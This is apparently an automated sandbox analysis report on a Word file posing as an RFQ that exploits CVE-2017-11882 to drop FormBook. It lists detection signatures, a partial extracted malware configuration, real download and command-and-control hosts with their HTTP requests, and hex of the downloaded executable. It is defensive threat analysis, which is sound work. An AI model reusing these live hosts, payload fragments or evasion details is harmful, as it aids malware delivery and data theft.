Analysis Report RFQ RATED POWER 2000HP- OTHERSPECIFICATION.docx.doc

Overview

General Information

Sample Name: RFQ RATED POWER 2000HP- OTHERSPECIFICATION.docx.doc
Analysis ID: 339299
MD5: 44cce032ed68104da1f632d18dd16971
SHA1: 415e8f97c4ad9392ee905cef88b814f0fd4162a2
SHA256: 1f9d1bffe188b76bbd97cb2fd59ab47248b71fcede2f415ca29fcc0f1040bbee
Tags: doc

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Sigma detected: Droppers Exploiting CVE-2017-11882
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
Machine Learning detection for dropped file
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Office equation editor drops PE file
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Tries to detect virtualization through RDTSC time measurements
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Antivirus or Machine Learning detection for unpacked file
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Sample execution stops while process was sleeping (likely an evasion)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection:

barindex
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\mpomabiva[1].exe Avira: detection malicious, Label: HEUR/AGEN.1106536
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Avira: detection malicious, Label: HEUR/AGEN.1106536
Found malware configuration
Source: 4.2.mpomboby8423.exe.280000.1.unpack Malware Configuration Extractor: FormBook {"Config: ": ["CONFIG_PATTERNS 0x8bc6", "KEY1_OFFSET 0x1d70c", "CONFIG SIZE : 0xf1", "CONFIG OFFSET 0x1d80b", "URL SIZE : 32", "searching string pattern", "strings_offset 0x1c373", "searching hashes pattern", "--------------------------------------------------", "Decrypted Function Hashes", "--------------------------------------------------", "0xa76d1436", "0xf43668a6", "0x980476e5", "0x35a6d50c", "0xf89290dc", "0x94261f57", "0x7d54c891", "0x47cb721", "0xf72d70a3", "0x9f71503e", "0xbf0a5e41", "0x2902d074", "0xf653b199", "0xc8c42cc6", "0x2e1b7599", "0x210d4d07", "0x6d2a7921", "0x8ea85a2f", "0x207c50ff", "0xb967410a", "0x1eb17415", "0xb46802f8", "0x11da8518", "0xf42ed5c", "0x2885a3d3", "0x445675fa", "0x5c289b4c", "0x40ede5aa", "0xf24946a2", "0x8559c3e2", "0xb9d34d23", "0xa14d0a19", "0x2d07bbe2", "0xbbd1d68c", "0xb28c29d4", "0x3911edeb", "0xefad046d", "0xa0605497", "0xf5529cbf", "0x5507576a", "0xfa2467c8", "0x5b6423bf", "0xe22409b9", "0xde1eba2", "0xae847e2", "0xa8cfcc9", "0x26fc2c69", "0x5d8a75ac", "0x22eb3474", "0x2b37c918", "0x79402007", "0x7544791c", "0x641b2c94", "0x1db04ecf", "0xf5d02cd8", "0xad0121e2", "0x6206e716", "0x5e4b9b9a", "0xe4e2f5f4", "0x54c93159", "0x25ea79b", "0x5bf29119", "0xd6507db", "0x32ffc9f8", "0xe4cfab72", "0x98db5380", "0xce4cc542", "0x3092a0a2", "0x66053660", "0x2607a133", "0xfcd01449", "0x80b41d4", "0x4102ad8d", "0x857bf6a6", "0xd3ec6064", "0x23145fc4", "0xc026698f", "0x8f5385d8", "0x2430512b", "0x3ebe9086", "0x4c6fddb5", "0x276db13e", "0xe00f0a8e", "0x85cf9404", "0xb2248784", "0xcdc7e023", "0x11f5f50", "0x1dd4bc1c", "0x8235fce2", "0x21b17672", "0xbba64d93", "0x2f0ee0d8", "0x9cb95240", "0x28c21e3f", "0x9347ac57", "0x9d9522dc", "0x911bc70e", "0x74443db9", "0xf04c1aa9", "0x6484bcb5", "0x11fc2f72", "0x2b44324f", "0x9d70beea", "0x59adf952", "0x172ac7b4", "0x5d4b4e66", "0xed297eae", "0xa88492a6", "0xb21b057c", "0x70f35767", "0xb6f4d5a8", "0x67cea859", "0xc1626bff", "0xb4e1ae2", "0x24a48dcf", "0xe11da208", "0x1c920818", "0x65f4449c", "0xc30bc050", "0x3e86e1fb", "0x9e01fc32", "0x216500c2", "0x48e207c9", "0x2decf13e", "0x19996921", "0xb7da3dd7", "0x47f39d2b", "0x6777e2de", "0xd980e37f", "0x963fea3b", "0xacddb7ea", "0x110aec35", "0x647331f3", "0x2e381da4", "0x50f66474", "0xec16e0c0", "0xf9d81a42", "0xd6c6f9db", "0xef3df91", "0x60e0e203", "0x7c81caaf", "0x71c2ec76", "0x25e431cc", "0x106f568f", "0x6a60c8a9", "0xb758aab3", "0x3b34de90", "0x700420f5", "0xee359a7e", "0xd1d808a", "0x47ba47a5", "0xff959c4c", "0x5d30a87d", "0xaa95a900", "0x80b19064", "0x9c5a481a", "0x1dd252d", "0xdb3055fc", "0xe0cf8bf1", "0x3a48eabc", "0xf0472f97", "0x4a6323de", "0x4260edca", "0x53f7fb4f", "0x3d2e9c99", "0xf6879235", "0xe6723cac", "0xe184dfaa", "0xe99ffaa0", "0xf6aebe25", "0xefadf9a5", "0x215de938", "0x757906aa", "0x84f8d766", "0xb6494f65", "0x13a75318", "0x5bde5587", "0xe9eba2a4", "0x6b8a0df3", "0x9c02f250", "0xe52a2a2e", "0xdb96173c", "0x3c0f2fc", "0xd45e157c", "0x4edd1210", "0x2b127ce0", "0xadc887b6", "0xf45a1c52", "0xc84869d7", "0x36dc1f04",
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\mpomabiva[1].exe ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe ReversingLabs: Detection: 36%
Yara detected FormBook
Source: Yara match File source: 00000007.00000002.2363397604.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2137078949.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2136966268.0000000000170000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2137046396.00000000002B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2104089442.0000000000280000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2363285705.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2363479849.0000000000250000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 4.2.mpomboby8423.exe.280000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.mpomboby8423.exe.280000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.mpomboby8423.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.mpomboby8423.exe.400000.0.unpack, type: UNPACKEDPE
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\mpomabiva[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 4.2.mpomboby8423.exe.280000.1.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 5.2.mpomboby8423.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Exploits:

barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\mpomboby8423.exe Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: wntdll.pdb source: mpomboby8423.exe, help.exe
Source: Binary string: help.pdb source: mpomboby8423.exe, 00000005.00000002.2137106093.0000000000534000.00000004.00000020.sdmp

Software Vulnerabilities:

barindex
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4x nop then pop edi 5_2_00416CBE
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4x nop then pop edi 5_2_00417D89
Source: C:\Windows\SysWOW64\help.exe Code function: 4x nop then pop edi 7_2_00096CBE
Source: C:\Windows\SysWOW64\help.exe Code function: 4x nop then pop edi 7_2_00097D89
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: vm1662026.3ssd.had.wf
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 92.119.114.220:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 92.119.114.220:80

Networking:

barindex
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 13 Jan 2021 19:37:14 GMTContent-Type: application/octet-streamContent-Length: 333824Last-Modified: Wed, 13 Jan 2021 12:17:39 GMTConnection: keep-aliveKeep-Alive: timeout=60ETag: "5ffee4e3-51800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2e 90 03 74 6a f1 6d 27 6a f1 6d 27 6a f1 6d 27 f4 51 aa 27 6b f1 6d 27 ae 34 a2 27 49 f1 6d 27 ae 34 a0 27 72 f1 6d 27 ae 34 a3 27 e2 f1 6d 27 6a f1 6c 27 1e f1 6d 27 96 86 d4 27 7f f1 6d 27 4d 37 a3 27 6b f1 6d 27 4d 37 a4 27 6b f1 6d 27 4d 37 a1 27 6b f1 6d 27 52 69 63 68 6a f1 6d 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 45 ce fe 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 6e 01 00 00 ec 00 00 00 00 00 00 a7 88 00 00 00 10 00 00 00 80 01 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 02 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 db 01 00 dc 00 00 00 00 50 02 00 78 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 02 00 50 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 d6 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 80 01 00 c8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9a 6d 01 00 00 10 00 00 00 6e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f8 64 00 00 00 80 01 00 00 66 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 50 00 00 00 f0 01 00 00 34 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 1a 00 00 00 50 02 00 00 1c 00 00 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 98 17 00 00 00 70 02 00 00 18 00 00 00 28 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /iic6/?Cr24w=dZrXWrr0J06LhDJ&UL0tljxP=LfZLOLN5XSNEI+sCgvR59RXQ9jmNrQ0h0keI8mxtmC8z/BE1pdL/TKWDQE351dcf8yE5vQ== HTTP/1.1Host: www.ghelyoun.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 91.195.240.94 91.195.240.94
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: ON-LINE-DATAServerlocation-NetherlandsDrontenNL ON-LINE-DATAServerlocation-NetherlandsDrontenNL
Source: Joe Sandbox View ASN Name: SEDO-ASDE SEDO-ASDE
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /mpomabiva.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: vm1662026.3ssd.had.wfConnection: Keep-Alive
Source: C:\Windows\explorer.exe Code function: 6_2_029767A2 getaddrinfo,setsockopt,recv, 6_2_029767A2
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{1E842130-90B9-4F45-8DA5-C9F08E2C2850}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /mpomabiva.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: vm1662026.3ssd.had.wfConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /iic6/?Cr24w=dZrXWrr0J06LhDJ&UL0tljxP=LfZLOLN5XSNEI+sCgvR59RXQ9jmNrQ0h0keI8mxtmC8z/BE1pdL/TKWDQE351dcf8yE5vQ== HTTP/1.1Host: www.ghelyoun.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: <FavoriteIcon>http://www.facebook.com/favicon.ico</FavoriteIcon> equals www.facebook.com (Facebook)
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: <FavoriteIcon>http://www.myspace.com/favicon.ico</FavoriteIcon> equals www.myspace.com (Myspace)
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: <FavoriteIcon>http://www.rambler.ru/favicon.ico</FavoriteIcon> equals www.rambler.ru (Rambler)
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: <URL>http://www.facebook.com/</URL> equals www.facebook.com (Facebook)
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: <URL>http://www.rambler.ru/</URL> equals www.rambler.ru (Rambler)
Source: mpomboby8423.exe, 00000004.00000002.2104552065.0000000000B30000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.2113776918.0000000003C40000.00000002.00000001.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: unknown DNS traffic detected: queries for: vm1662026.3ssd.had.wf
Source: explorer.exe, 00000006.00000000.2126479275.000000000A330000.00000008.00000001.sdmp String found in binary or memory: http://%s.com
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://amazon.fr/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://ariadna.elmundo.es/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://ariadna.elmundo.es/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://arianna.libero.it/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://arianna.libero.it/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://asp.usatoday.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://asp.usatoday.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://auone.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2126479275.000000000A330000.00000008.00000001.sdmp String found in binary or memory: http://auto.search.msn.com/response.asp?MT=
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://br.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://browse.guardian.co.uk/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://browse.guardian.co.uk/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busca.buscape.com.br/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busca.buscape.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busca.estadao.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busca.igbusca.com.br/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busca.igbusca.com.br//app/static/images/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busca.orange.es/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busca.uol.com.br/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busca.uol.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://buscador.lycos.es/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://buscador.terra.com.br/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://buscador.terra.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://buscador.terra.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://buscador.terra.es/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://buscar.ozu.es/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://buscar.ya.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busqueda.aol.com.mx/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://cerca.lycos.it/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://cgi.search.biglobe.ne.jp/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://cgi.search.biglobe.ne.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://clients5.google.com/complete/search?hl=
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://cnet.search.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://cnweb.search.live.com/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2116151786.0000000004B50000.00000002.00000001.sdmp String found in binary or memory: http://computername/printers/printername/.printer
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://corp.naukri.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://corp.naukri.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://de.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://es.ask.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://es.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://esearch.rakuten.co.jp/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://espanol.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://espn.go.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://find.joins.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://fr.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://google.pchome.com.tw/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://home.altervista.org/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://home.altervista.org/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://ie.search.yahoo.com/os?command=
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://ie8.ebay.com/open-search/output-xml.php?q=
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://image.excite.co.jp/jp/favicon/lep.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://images.joins.com/ui_c/fvc_joins.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://images.monster.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://img.atlas.cz/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://img.shopzilla.com/shopzilla/shopzilla.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://in.search.yahoo.com/
Source: mpomboby8423.exe, 00000004.00000002.2104552065.0000000000B30000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.2113776918.0000000003C40000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com
Source: mpomboby8423.exe, 00000004.00000002.2104552065.0000000000B30000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.2113776918.0000000003C40000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://it.search.dada.net/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://it.search.dada.net/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://it.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://jobsearch.monster.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://kr.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://list.taobao.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://list.taobao.com/browse/search_visual.htm?n=15&amp;q=
Source: mpomboby8423.exe, 00000004.00000002.2104829039.0000000000D17000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.2114936795.0000000003E27000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: mpomboby8423.exe, 00000004.00000002.2104829039.0000000000D17000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.2114936795.0000000003E27000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://mail.live.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://mail.live.com/?rru=compose%3Fsubject%3D
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://msk.afisha.ru/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://ocnsearch.goo.ne.jp/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://openimage.interpark.com/interpark.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://p.zhongsou.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://p.zhongsou.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://price.ru/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://price.ru/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://recherche.linternaute.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://recherche.tf1.fr/
